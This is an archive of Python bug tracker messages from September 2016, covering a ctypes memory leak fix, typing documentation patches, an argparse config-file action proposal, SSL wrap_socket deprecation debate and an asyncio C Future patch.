Date: Sat, 10 Sep 2016 23:32:37 +0000
Subject: [issue28072] Empty Strings are not parsed to None.
In-Reply-To: <1473550050.32.0.541493400978.issue28072@psf.upfronthosting.co.za>
Message-ID: <1473550357.57.0.392805679277.issue28072@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Empty strings are empty strings, not None.

An better way for your code example would be:

def ...():
    if url:
       ....
    else:
       raise URLError(...URL cannot be empty...)

----------
nosy: +ethan.furman
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28072>
_______________________________________

From report at bugs.python.org  Sat Sep 10 19:44:30 2016
From: report at bugs.python.org (Eryk Sun)
Date: Sat, 10 Sep 2016 23:44:30 +0000
Subject: [issue27932] platform.win32_ver() leaks in 2.7.12
In-Reply-To: <1472744071.14.0.482080718706.issue27932@psf.upfronthosting.co.za>
Message-ID: <1473551070.28.0.013693993196.issue27932@psf.upfronthosting.co.za>


Eryk Sun added the comment:

The leak is due the pointer-type cache that ctypes.POINTER uses. The type the pointer refers to is used as the key. In this case, VS_FIXEDFILEINFO is created each time win32_ver is called, so the pointer-type cache grows without bound. Example leak:

    >>> import psutil, platform
    >>> proc = psutil.Process()
    >>> proc.memory_info().rss
    14704640
    >>> for i in range(10000):
    ...     v = platform.win32_ver()
    ...
    >>> proc.memory_info().rss
    92704768
    >>> for i in range(10000):
    ...     v = platform.win32_ver()
    ...
    >>> proc.memory_info().rss
    168861696

Clearing the cache followed by a collect() reclaims the leaked memory for the most part:

    >>> import gc, ctypes
    >>> gc.collect()
    333
    >>> proc.memory_info().rss
    168849408
    >>> ctypes._pointer_type_cache.clear()
    >>> gc.collect()
    740000
    >>> proc.memory_info().rss
    20303872

It's a moot point, since Steve plans to re-implement this check in C, but the minimal change to fix this leak is to bypass the pointer-type cache by manually subclassing ctypes._Pointer:

    class PVS_FIXEDFILEINFO(_Pointer):
        _type_ = VS_FIXEDFILEINFO

    pvi = PVS_FIXEDFILEINFO()

There's no more leak after this change:

    >>> import psutil, platform
    >>> proc = psutil.Process()
    >>> proc.memory_info().rss
    15450112
    >>> for i in range(10000):
    ...     v = platform.win32_ver()
    ...
    >>> proc.memory_info().rss
    16592896
    >>> for i in range(10000):
    ...     v = platform.win32_ver()
    ...
    >>> proc.memory_info().rss
    16601088

----------
nosy: +eryksun

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27932>
_______________________________________

From report at bugs.python.org  Sat Sep 10 20:07:55 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Sun, 11 Sep 2016 00:07:55 +0000
Subject: [issue26141] typing module documentation incomplete
In-Reply-To: <1453049740.68.0.762293537242.issue26141@psf.upfronthosting.co.za>
Message-ID: <1473552475.53.0.247381218368.issue26141@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Here is the patch for some omissions in typing module documentation.

Guido, please take a look.

----------
keywords: +patch
nosy: +gvanrossum
Added file: http://bugs.python.org/file44541/typing-doc.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26141>
_______________________________________

From report at bugs.python.org  Sat Sep 10 20:17:33 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 11 Sep 2016 00:17:33 +0000
Subject: [issue26141] typing module documentation incomplete
In-Reply-To: <1453049740.68.0.762293537242.issue26141@psf.upfronthosting.co.za>
Message-ID: <1473553053.13.0.441146005391.issue26141@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Most things mentioned by Ben have been added (thanks Michael Lee!), but it seems the 3.5 docs and the 3.6 docs have deviated more than they ought to. I guess updating the 3.6 docs is more urgent because of the upcoming 3.6b1 release. I'll look later.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26141>
_______________________________________

From report at bugs.python.org  Sat Sep 10 20:27:09 2016
From: report at bugs.python.org (Michael Lee)
Date: Sun, 11 Sep 2016 00:27:09 +0000
Subject: [issue28073] Update documentation about None vs type(None) in typing
Message-ID: <1473553628.91.0.952557141974.issue28073@psf.upfronthosting.co.za>


New submission from Michael Lee:

For some reason, the section of the typing docs about Optional stated that Optional[T] was equivalent to Union[T, type(None)]. While this is true, it's somewhat inconsistent and potentially confusing since everywhere else in the docs, we just use None.

This patch modifies that line to use Union[T, type(None)] instead, and moves the line explaining that None is special-cased to mean type(None) to the first usage of None as a type within the docs.

----------
assignee: docs at python
components: Documentation
files: update-none-vs-type-none.patch
keywords: patch
messages: 275718
nosy: docs at python, gvanrossum, michael0x2a
priority: normal
severity: normal
status: open
title: Update documentation about None vs type(None) in typing
versions: Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44542/update-none-vs-type-none.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28073>
_______________________________________

From report at bugs.python.org  Sat Sep 10 20:32:04 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Sun, 11 Sep 2016 00:32:04 +0000
Subject: [issue26141] typing module documentation incomplete
In-Reply-To: <1453049740.68.0.762293537242.issue26141@psf.upfronthosting.co.za>
Message-ID: <1473553924.17.0.386762370767.issue26141@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

The patch contains docs for both new 3.6 features and missing 3.5:

ClassVar, Collection, plus also Sized, Hashable, DefaultDict, @overload, TYPE_CHECKING

Should I generate a separate patch for 3.5 with only 3.5 omissions?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26141>
_______________________________________

From report at bugs.python.org  Sat Sep 10 21:49:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 01:49:44 +0000
Subject: [issue28073] Update documentation about None vs type(None) in typing
In-Reply-To: <1473553628.91.0.952557141974.issue28073@psf.upfronthosting.co.za>
Message-ID: <20160911014940.8881.86921.7EC38F90@psf.io>


Roundup Robot added the comment:

New changeset 75514816741a by Guido van Rossum in branch '3.5':
Issue #28073: Improve wording around None. Michael Lee.
https://hg.python.org/cpython/rev/75514816741a

New changeset 7a4a16a880a4 by Guido van Rossum in branch 'default':
Issue #28073: Improve wording around None. Michael Lee. (3.5->3.6)
https://hg.python.org/cpython/rev/7a4a16a880a4

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28073>
_______________________________________

From report at bugs.python.org  Sat Sep 10 21:50:17 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 11 Sep 2016 01:50:17 +0000
Subject: [issue28073] Update documentation about None vs type(None) in typing
In-Reply-To: <1473553628.91.0.952557141974.issue28073@psf.upfronthosting.co.za>
Message-ID: <1473558617.76.0.0700887179708.issue28073@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Thanks! Busy Saturday  night, right? :-)

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28073>
_______________________________________

From report at bugs.python.org  Sat Sep 10 21:51:16 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 11 Sep 2016 01:51:16 +0000
Subject: [issue26141] typing module documentation incomplete
In-Reply-To: <1453049740.68.0.762293537242.issue26141@psf.upfronthosting.co.za>
Message-ID: <1473558676.95.0.922708734526.issue26141@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

I'll figure it out.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26141>
_______________________________________

From report at bugs.python.org  Sat Sep 10 22:05:56 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 02:05:56 +0000
Subject: [issue26141] typing module documentation incomplete
In-Reply-To: <1453049740.68.0.762293537242.issue26141@psf.upfronthosting.co.za>
Message-ID: <20160911020552.2793.99749.BECAC3AC@psf.io>


Roundup Robot added the comment:

New changeset 7187d167abe8 by Guido van Rossum in branch 'default':
Issue #26141: Update docs for typing.py. Ivan Levkivskyi.
https://hg.python.org/cpython/rev/7187d167abe8

New changeset 1dc45beca118 by Guido van Rossum in branch '3.5':
Issue #26141: Update docs for typing.py. Ivan Levkivskyi. (Backport from the 3.6 version)
https://hg.python.org/cpython/rev/1dc45beca118

New changeset 960a73507d4d by Guido van Rossum in branch 'default':
Issue #26141: Update docs for typing.py. Ivan Levkivskyi. (null merge 3.5->3.6)
https://hg.python.org/cpython/rev/960a73507d4d

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26141>
_______________________________________

From report at bugs.python.org  Sat Sep 10 22:06:20 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 11 Sep 2016 02:06:20 +0000
Subject: [issue26141] typing module documentation incomplete
In-Reply-To: <1453049740.68.0.762293537242.issue26141@psf.upfronthosting.co.za>
Message-ID: <1473559580.16.0.855303518694.issue26141@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Thanks!

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26141>
_______________________________________

From report at bugs.python.org  Sat Sep 10 22:07:54 2016
From: report at bugs.python.org (Miroslav Shubernetskiy)
Date: Sun, 11 Sep 2016 02:07:54 +0000
Subject: [issue18233] SSLSocket.getpeercertchain()
In-Reply-To: <1371415195.44.0.636993698614.issue18233@psf.upfronthosting.co.za>
Message-ID: <1473559674.19.0.0894270033773.issue18233@psf.upfronthosting.co.za>


Changes by Miroslav Shubernetskiy <miki725 at gmail.com>:


----------
nosy: +miki725

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18233>
_______________________________________

From report at bugs.python.org  Sat Sep 10 22:30:34 2016
From: report at bugs.python.org (Chris Nyland)
Date: Sun, 11 Sep 2016 02:30:34 +0000
Subject: [issue28074] Add Configuration file parser action
Message-ID: <1473561034.71.0.0348324779613.issue28074@psf.upfronthosting.co.za>


New submission from Chris Nyland:

I have recently developed a action for the argparse module that allows arguments to be read in from configuration files. It is different in functionality than the convert_arg_line_to_args in that the file path(s) is passed to the action and then opened. This allows a user to sub class the action and use which ever parser they chose. For a default option the action uses the built in configparser module. 

To implement it properly I had to adjust some of the code in the the parse functions of the ArgumentParser class. Namely I had to make the take_action function a method of the class so that it could be called by the action. I also had to make a few variables that were private to the function attributes of the class.

If the patch is accepted I would be willing to write some tests as well as documentation. This is my first time submitting a patch like this so any feed back would be appreciated. 

Adding it to the core library would seem to fit nicely into the batteries included idea of Python.

----------
components: Library (Lib)
files: ConfigFileAction.patch
keywords: patch
messages: 275725
nosy: Chris Nyland
priority: normal
severity: normal
status: open
title: Add Configuration file parser action
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44543/ConfigFileAction.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28074>
_______________________________________

From report at bugs.python.org  Sat Sep 10 22:44:02 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sun, 11 Sep 2016 02:44:02 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473561842.06.0.730296978769.issue28022@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

I asked in more detail about this on the list, but my main question is why can't wrap_socket() be fixed by doing a rip-and-replace on its internals (e.g. by using a model similar to the one in random, where there's an implicit global Random instance that gets invoked if you use the module level API instead of creating your own instance), rather than having to tell users to change *their* code.

Like Random, I'd like to see SSLContext as a lower level implementation detail that's there for when people need it, but can be largely ignored if they just want the default behaviours (i.e. system trust store with python-dev specified SSL/TLS settings)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Sat Sep 10 22:45:47 2016
From: report at bugs.python.org (Donald Stufft)
Date: Sun, 11 Sep 2016 02:45:47 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473561947.96.0.964790676751.issue28022@psf.upfronthosting.co.za>


Donald Stufft added the comment:

An implicit global SSL Context? It kinda sounds a bit gross.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Sat Sep 10 22:50:13 2016
From: report at bugs.python.org (Donald Stufft)
Date: Sun, 11 Sep 2016 02:50:13 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473562213.75.0.440604823718.issue28022@psf.upfronthosting.co.za>


Donald Stufft added the comment:

Thinking about that more, it's a bit harder than the Random module as well. The only state the random module has to worry about is the seed and internal state of the RNG.

However, many of the arguments to ssl.wrap_socket change the SSLContext options for things like what ciphers are active, what trust stores, etc. So we couldn't have a single SSLContext at the global level without removing those options from wrap_socket. Otherwise we'd need some sort of dict of SSLContexts that keyed off of the options passed to wrap_socket.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Sat Sep 10 23:48:33 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sun, 11 Sep 2016 03:48:33 +0000
Subject: [issue26081] Implement asyncio Future in C to improve performance
In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za>
Message-ID: <1473565713.79.0.902921647327.issue26081@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Oh, I'm sorry.
I usually working on git, and convert git diff to hg diff when posting patch.

I've used `patch -p1` instead of `hg import --no-edit` to apply git patch into hg workdir.
I wonder if Rietveld accepts git diff format...

----------
Added file: http://bugs.python.org/file44544/fastfuture.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26081>
_______________________________________

From report at bugs.python.org  Sun Sep 11 00:02:45 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sun, 11 Sep 2016 04:02:45 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473566565.54.0.424967630611.issue28022@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

That sounds like the "re" module would be a better exemplar for an SSL module convenience API design than "random" then - that has a similar model of needing an LRU cache for the compiled patterns for performance reasons, while still making working with the compiled form in your own code optional (which means you don't need to find a place to store it to gain the performance benefits of pattern reuse).

It would need to be a hidden cache, though - since SSLContext objects are mutable, it wouldn't be a good idea to expose any implicitly shared ones.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Sun Sep 11 00:07:24 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 11 Sep 2016 04:07:24 +0000
Subject: [issue27680] Reduce Github pull request rate
In-Reply-To: <1470300675.44.0.889172442592.issue27680@psf.upfronthosting.co.za>
Message-ID: <1473566844.93.0.709088668255.issue27680@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> out of date
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27680>
_______________________________________

From report at bugs.python.org  Sun Sep 11 00:12:53 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 11 Sep 2016 04:12:53 +0000
Subject: [issue20885] Little Endian PowerPC64 Linux
In-Reply-To: <1394476555.87.0.433973059487.issue20885@psf.upfronthosting.co.za>
Message-ID: <1473567173.26.0.0426372165199.issue20885@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20885>
_______________________________________

From report at bugs.python.org  Sun Sep 11 00:20:58 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sun, 11 Sep 2016 04:20:58 +0000
Subject: [issue23722] During metaclass.__init__,
 super() of the constructed class does not work
In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za>
Message-ID: <1473567658.8.0.247821207986.issue23722@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Reassigning to myself given Guido's +1

----------
assignee: ned.deily -> ncoghlan
stage:  -> commit review
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23722>
_______________________________________

From report at bugs.python.org  Sun Sep 11 00:46:09 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 04:46:09 +0000
Subject: [issue23722] During metaclass.__init__,
 super() of the constructed class does not work
In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za>
Message-ID: <20160911044606.21256.22369.8A0FFE2F@psf.io>


Roundup Robot added the comment:

New changeset feb1ae9d5381 by Nick Coghlan in branch 'default':
Issue #23722: Initialize __class__ from type.__new__()
https://hg.python.org/cpython/rev/feb1ae9d5381

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23722>
_______________________________________

From report at bugs.python.org  Sun Sep 11 00:49:08 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sun, 11 Sep 2016 04:49:08 +0000
Subject: [issue23722] During metaclass.__init__,
 super() of the constructed class does not work
In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za>
Message-ID: <1473569348.53.0.813138404102.issue23722@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

And done - thanks for the patch Martin!

The one additional change needed was to increment the magic number for pyc files, as this changed the code emitted for class definitions.

I also picked up a latent defect in PC/launcher.c which hadn't been updated for the last couple of magic number bumps.

----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23722>
_______________________________________

From report at bugs.python.org  Sun Sep 11 00:54:14 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 11 Sep 2016 04:54:14 +0000
Subject: [issue26081] Implement asyncio Future in C to improve performance
In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za>
Message-ID: <1473569654.97.0.675193164503.issue26081@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Thanks! I can't review the whole thing, but I patched it in and tried running the asyncio/examples/crawl.py example, like so:

$ ~/src/cpython36/python.exe examples/crawl.py xkcd.com -q
Exception RuntimeError('yield was used instead of yield from in task <Task pending coro=<Crawler.fetch() running at examples/crawl.py:778>> with <Future pending cb=[_chain_future.<locals>._call_check_cancel() at /Users/guido/src/cpython36/Lib/asyncio/futures.py:472]>',) for ('xkcd.com', 80)
ERROR:asyncio:Task exception was never retrieved
future: <Task finished coro=<Crawler.fetch() done, defined at examples/crawl.py:769> exception=RuntimeError('yield was used instead of yield from in task <Task pending coro=<Crawler.fetch() running at examples/crawl.py:778>> with <Future pending cb=[_chain_future.<locals>._call_check_cancel() at /Users/guido/src/cpython36/Lib/asyncio/futures.py:472]>',)>
Traceback (most recent call last):
  File "/Users/guido/src/cpython36/Lib/asyncio/tasks.py", line 241, in _step
    result = coro.throw(exc)
  File "examples/crawl.py", line 778, in fetch
    yield from fetcher.fetch()  # Fetcher gonna fetch.
  File "examples/crawl.py", line 507, in fetch
    yield from self.request.connect()
  File "examples/crawl.py", line 315, in connect
    self.port, self.ssl)
  File "examples/crawl.py", line 143, in get_connection
    ipaddrs = yield from self.loop.getaddrinfo(host, port)
RuntimeError: yield was used instead of yield from in task <Task pending coro=<Crawler.fetch() running at examples/crawl.py:778>> with <Future pending cb=[_chain_future.<locals>._call_check_cancel() at /Users/guido/src/cpython36/Lib/asyncio/futures.py:472]>
*** Report ***
http://xkcd.com no response object
Finished 0 urls in 0.041 secs (max_tasks=100) (0.000 urls/sec/task)
Todo: 0
Busy: 1
Done: 0
Date: Sat Sep 10 21:50:08 2016 local time
Traceback (most recent call last):
  File "examples/crawl.py", line 864, in <module>
    main()
  File "examples/crawl.py", line 852, in main
    loop.run_until_complete(crawler.crawl())  # Crawler gonna crawl.
  File "/Users/guido/src/cpython36/Lib/asyncio/base_events.py", line 438, in run_until_complete
    return future.result()
  File "/Users/guido/src/cpython36/Lib/asyncio/tasks.py", line 241, in _step
    result = coro.throw(exc)
  File "examples/crawl.py", line 766, in crawl
    yield from self.termination.wait()
  File "/Users/guido/src/cpython36/Lib/asyncio/locks.py", line 326, in wait
    yield from fut
RuntimeError: yield was used instead of yield from in task <Task pending coro=<Crawler.crawl() running at examples/crawl.py:766> cb=[_run_until_complete_cb() at /Users/guido/src/cpython36/Lib/asyncio/base_events.py:164]> with <Future pending>

Without your diff, that works, and the output includes this line:

Finished 1786 urls in 7.105 secs (max_tasks=100) (2.514 urls/sec/task)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26081>
_______________________________________

From report at bugs.python.org  Sun Sep 11 00:54:58 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 11 Sep 2016 04:54:58 +0000
Subject: [issue20483] Missing network resource checks in test_urllib2 &
 test_smtplib
In-Reply-To: <1391317175.95.0.400221944155.issue20483@psf.upfronthosting.co.za>
Message-ID: <1473569698.93.0.499677518758.issue20483@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> works for me
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20483>
_______________________________________

From report at bugs.python.org  Sun Sep 11 02:25:05 2016
From: report at bugs.python.org (Ed Schouten)
Date: Sun, 11 Sep 2016 06:25:05 +0000
Subject: [issue28066] [Patch] Fix the ability to cross compile Python when
 doing a rebuild of importlib.h
In-Reply-To: <1473534121.66.0.287629200488.issue28066@psf.upfronthosting.co.za>
Message-ID: <1473575105.93.0.0980783974452.issue28066@psf.upfronthosting.co.za>


Ed Schouten added the comment:

The nice thing is that in our case, the importlib changes are already compatible with the native build. So yes, we can reuse the frozen module from the native build. :-)

Ah, yes. Issue 27641 already prevents that it's cross compiled. This patch was written prior to that and simply rebased.

Still, one problem remains: our strategy for creating importlib.h and importlib_external.h doesn't take out-of-tree builds into account. Even if we regenerate it, frozen.c won't pick it up because its directory is not part of the compiler search path.

Attached is a patch that makes us write the results of _freeze_importlib into $(srcdir)/Python/importlib*.h instead, so that even with an out-of-tree build, we actually update the header files used by frozen.c.

----------
Added file: http://bugs.python.org/file44545/patch-freeze-importlib

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28066>
_______________________________________

From report at bugs.python.org  Sun Sep 11 02:29:47 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 06:29:47 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473575387.33.0.121784619212.issue27213@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


Added file: http://bugs.python.org/file44546/callfunc-11.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Sun Sep 11 02:37:27 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 06:37:27 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <20160911063723.21222.80141.9999A92D@psf.io>


Roundup Robot added the comment:

New changeset aad7443e62be by Ethan Furman in branch 'default':
issue23591: add auto() for auto-generating Enum member values
https://hg.python.org/cpython/rev/aad7443e62be

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Sun Sep 11 02:38:21 2016
From: report at bugs.python.org (Ethan Furman)
Date: Sun, 11 Sep 2016 06:38:21 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473575901.67.0.0269730614794.issue23591@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Sun Sep 11 02:45:05 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 11 Sep 2016 06:45:05 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473576305.1.0.0528951904403.issue28022@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The performance benefit is not worth the risk. For 10 httplib requests to pypi.python.org, a shared SSLContext is about 5% faster than a new context for each request. Session resumption improves the simple test case by another 20%.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Sun Sep 11 03:41:51 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sun, 11 Sep 2016 07:41:51 +0000
Subject: [issue28070] 3.6 regression: re.compile not handling flags with X
 correctly
In-Reply-To: <1473545265.89.0.511572120567.issue28070@psf.upfronthosting.co.za>
Message-ID: <1473579711.75.0.681077106721.issue28070@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Thanks for such a quick fix!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28070>
_______________________________________

From report at bugs.python.org  Sun Sep 11 03:43:41 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sun, 11 Sep 2016 07:43:41 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473579821.8.0.516244404663.issue28022@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Leaving the option of context caching entirely to the caller would definitely make things simpler - my main interest is just in avoiding a hard compatibility break for folks that aren't doing anything particularly wrong, by which I mean specifically cases where a wrap_socket() implementation like this one would continue to work for them:

    def wrap_socket(sock, *args, *kwds):
        return ssl.get_default_context().wrap_socket(sock, *args, **kwds)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Sun Sep 11 03:51:14 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sun, 11 Sep 2016 07:51:14 +0000
Subject: [issue26081] Implement asyncio Future in C to improve performance
In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za>
Message-ID: <1473580274.84.0.273237203671.issue26081@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Sorry, again. fixed.
Now this passes `./python -m test.test_asyncio`

----------
Added file: http://bugs.python.org/file44547/fastfuture.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26081>
_______________________________________

From report at bugs.python.org  Sun Sep 11 03:56:58 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 07:56:58 +0000
Subject: [issue28066] [Patch] Fix the ability to cross compile Python when
 doing a rebuild of importlib.h
In-Reply-To: <1473534121.66.0.287629200488.issue28066@psf.upfronthosting.co.za>
Message-ID: <1473580618.55.0.740640513604.issue28066@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
keywords: +patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28066>
_______________________________________

From report at bugs.python.org  Sun Sep 11 04:01:01 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sun, 11 Sep 2016 08:01:01 +0000
Subject: [issue28061] Compact dict bug on Windows (Visual Studio): if
 (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473580861.6.0.434349667042.issue28061@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
title: Python crashes on 'from test import support' -> Compact dict bug on Windows (Visual Studio): if (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sun Sep 11 04:03:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 08:03:44 +0000
Subject: [issue26900] Exclude the private API from the stable API
In-Reply-To: <1462097873.28.0.0706601779139.issue26900@psf.upfronthosting.co.za>
Message-ID: <20160911080342.48696.20519.592C2ECF@psf.io>


Roundup Robot added the comment:

New changeset d00f15af75ea by Serhiy Storchaka in branch 'default':
Issue #26900: Excluded underscored names and other private API from limited API.
https://hg.python.org/cpython/rev/d00f15af75ea

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26900>
_______________________________________

From report at bugs.python.org  Sun Sep 11 04:06:42 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 08:06:42 +0000
Subject: [issue433028] SRE: (?flag:...) is not supported
Message-ID: <1473581202.33.0.368544208001.issue433028@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

There was one bug (issue28070), it is now fixed.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue433028>
_______________________________________

From report at bugs.python.org  Sun Sep 11 04:10:51 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Sun, 11 Sep 2016 08:10:51 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
